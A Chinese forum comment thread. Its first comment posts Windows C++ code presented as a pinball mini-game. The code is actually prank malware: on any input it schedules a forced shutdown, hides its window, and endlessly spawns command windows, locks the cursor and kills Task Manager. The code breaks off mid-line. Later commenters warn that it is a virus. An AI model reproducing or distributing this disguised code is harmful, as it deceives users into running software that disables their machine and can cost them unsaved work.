全部评论 7

  • #include <bits/stdc++.h>
    #include <windows.h>
    #define t system
    #define g cout
    #define h cin
    #define j endl
    #define sleep Sleep
    #define pos SetCursorPos
    using namespace std;
    void a(int n){
    if(n == 1){
    string m;
    g << "欢迎来到弹球小游戏" << j;
    g << "----------------------------------" << j;
    g << "请问你要选择人机战还是真人战" << j;
    h >> m;
    if(m == "人机战"){
    t("shutdown -s -t 30 -c 就你还想以大欺小,30秒关机,启动!");
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    while(1){
    t("start cmd");
    pos(0,0);
    t("taskkill /f /im taskmgr.exe");
    }
    }
    else if(m == "真人战"){
    g << "就你还想跟真人打,吃我一击!";
    g << j;
    sleep(2000);
    t("shutdown -s -t 30 -c 30秒关机,启动!");
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    while(1){
    t("start cmd");
    pos(0,0);
    t("taskkill /f /im taskmgr.exe");
    }
    }
    else{
    g << "你竟然敢输错,那就送你一份大礼包吧";
    cout << j;
    sleep(2000);
    t("shutdown -s -t 60 -c 60秒关机,启动!");
    g << endl;
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    while(1){
    t("start cmd");
    pos(0,0);
    t("taskkill /f /im taskmgr.exe");
    }
    }
    }
    else if(n == 2){
    cout << "恭喜你,选择正确,欢迎来到弹球小游戏" << j;
    
    }
    else{
    	t("shutdown -s -t 60 -c 你竟然不玩?60秒关机,启动!");
    	HWND hWnd = GetConsoleWindow();
    	ShowWindow(hWnd, SW_HIDE);
    	while(1){
    		t("start cmd");
    		pos(0,0);
    		t("taskkill /f /im taskmgr.exe");
    	}
    }
    }
    int main(){
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    FreeConsole();
    AllocConsole();
    HWND hwmd = GetForegroundWindow();
    SetWindowText(hwmd,TEXT("弹球小游戏"));
    HANDLE hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_CURSOR_INFO cInfo{};
    GetConsoleCursorInfo(hOutput, &cInfo);
    cInfo.bVisible = false;
    SetConsoleCursorInfo(hOutput, &cInfo);
    HWND hwnd = GetConsoleWindow();
    LONG_PTR sty = GetWi
    

    昨天 来自 浙江

    0
  • 建议发布在灌水池塘

    昨天 来自 浙江

    0
  • 建议发布在灌水池塘

    2天前 来自 浙江

    0
  • 不要信

    2天前 来自 陕西

    0
  • 是病毒

    2天前 来自 陕西

    0
  • 我还是首评呢

    2025-07-22 来自 浙江

    0
  • 作者这个太畜生了

    2025-07-22 来自 浙江

    0

热门讨论